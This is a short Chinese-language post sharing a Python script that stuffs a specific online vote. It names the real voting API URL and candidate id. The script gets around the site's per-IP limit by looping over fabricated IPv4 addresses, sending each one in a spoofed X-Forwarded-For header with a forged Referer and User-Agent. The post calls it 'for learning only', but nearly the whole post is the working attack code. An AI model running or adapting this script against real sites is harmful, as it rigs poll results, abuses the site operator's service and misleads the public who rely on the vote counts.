有个地方的投票,规则是这样的:1个IP5分钟内只能给1个人投一次票。估计设计者的想法只是想得到投票的数据,而不是用来比较排名的,不然不应该这样设置规则。现在把python代码粘贴出来,仅供学习:#!/usr/bin/python3
# -*- coding: utf-8 -*-
#encoding=utf-8
import urllib.request
import sys
import time
url= "http://policestar.gdtengnan.com/api/vote/add?id=177" #投票提交的数据
while(0<1):
for i in range(12,254):
for j in range(1,254):
for k in range(1,254):
for l in range(1,254):
try:
ip=str(i)+"."+str(j)+"."+str(k)+"."+str(l) #虚拟出无数不同的投票IP
req = urllib.request.Request(url)
req.add_header("Referer","//policestar.gdtengnan.com/")
req.add_header("x-forwarded-for",ip) #应用虚拟出的IP
req.add_header("User-Agent","Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0")
r = urllib.request.urlopen(req)
html = r.read()
receive_header = r.info()
html = html.decode("utf-8").encode(sys.getfilesystemencoding())
print (receive_header)
print ("#####################################")
print (html)
#time.sleep( 1 )
except(Exception):
print (1) #出错时输出(随意)防止脚本中断